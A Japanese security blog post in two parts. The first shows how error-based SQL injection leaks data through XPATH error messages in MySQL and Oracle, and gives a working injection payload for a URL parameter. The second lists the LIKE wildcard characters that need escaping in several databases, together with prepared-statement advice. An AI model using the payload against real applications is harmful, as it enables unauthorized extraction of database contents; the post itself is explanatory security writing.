MySQLのエラーメッセージ

MySQL環境において、BlindではないSQLインジェクションがあるときに(SQLエラーメッセージが応答に含まれるときに)、欲しいデータをエラーメッセージから得る方法。

mysql> select extractvalue('<a/>',concat('/$',version()));
ERROR 1105 (HY000): XPATH syntax error: '$5.1.36-log'

こんな感じで使います。

?vuln_var='-extractvalue('<a/>',concat('/$',version()))-'

おそらく、MySQL5.1以上で動きます。

金床さんの本(ウェブアプリケーションセキュリティ)には、同じことをload_file関数を使ってやる方法が載ってますが、FILE権限が必要ですし、ちょっと前からその方法自体が使えなくなってます。

(参考)MySQL Bugs: #10418: LOAD_FILE does not behave like in manual if file does not exist

ところで、Oracleも同じように、XPATH構文が不正な場合、エラーメッセージにそのXPATH構文を出力します。

SQL> select extractvalue(xmltype('<a/>'),'/$'||user) from dual;
select extractvalue(xmltype('<a/>'),'/$'||user) from dual
                                                     *
行1でエラーが発生しました。:
ORA-31011: XML解析に失敗しました
ORA-19202: XML処理
LPX-00601: Invalid token in: '/$testuser1'中にエラーが発生しました

最近出た本(SQL Injection Attacks and Defense)によると、Oracle11gは、utl_inaddrなどのネットワーク系のパッケージをデフォルトで使用できなくしているようです。この本には、11g環境において、エラーメッセージをコントロールするための方法がいくつか載っています。

SQLのlike演算子でエスケープが必要な文字

まとめると以下のようになると思います。

Oracle % _ %(全角)_(全角)
DB2 % _ %(全角)_(全角)
MS SQL Server % _ [
MySQL % _
PostgreSQL % _

注意点は以下のとおり。

  • DB2Oracleは、「%」「_」(全角)もワイルドカードとして解釈する
  • SQL Serverは、[a-z]のような正規表現的な記述を解釈する
  • 当然、ワイルドカード的な機能を持たせたい「%」や「_」等はエスケープしない
  • 全データベース共通の話として、エスケープ文字自体もエスケープする必要がある(MySQL、Postgresでは「\」がデフォルトのエスケープ文字)
  • likeのエスケープをした後に、Prepared Statementで値をSQLにバインドする

(関連)2008-07-10 - T.Teradaの日記